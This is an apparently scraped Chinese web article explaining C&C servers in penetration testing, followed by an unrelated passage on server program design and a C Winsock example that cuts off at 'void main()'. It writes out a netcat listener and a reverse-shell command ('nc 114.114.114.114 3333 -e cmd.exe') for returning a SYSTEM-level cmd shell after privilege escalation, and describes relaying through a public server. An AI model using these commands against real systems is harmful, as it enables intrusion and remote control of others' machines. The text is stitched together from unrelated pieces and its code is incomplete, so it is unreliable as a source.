C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器
通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。
而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333
上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333 -e cmd.exe
上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。
扩展资料:
C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。
通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。
这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。
具体怎么写,没有人能告诉你,因为每个系统的需求不一样。我说一下我的程序希望对你有点帮助,分为5个部分(网络通信、协议解析、数据库操作、缓存管理、事件处理),网络通信主要有接收、发送、连接、关闭连接、数据分包这5个功能(我用得是完成端口来实现的),协议解析主要有转义/还原、校验、解析/打包这5个功能,数据库我就只封装调用存储过程,缓存管理就是存储一些经常操作的数据(避免频繁操作数据库),事件处理就是根据不同的协议对象来触发相应的处理函数。网络的Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用Socket(),该函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。下面用Socket实现一个windows下的c语言socket通信例子,这里我们客户端传递一个字符串,服务器端进行接收。
【服务器端】
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#include <winsock2.h>
#define SERVER_PORT 5208 //侦听端口
void main()
欢迎分享,转载请注明来源:夏雨云
评论列表(0条)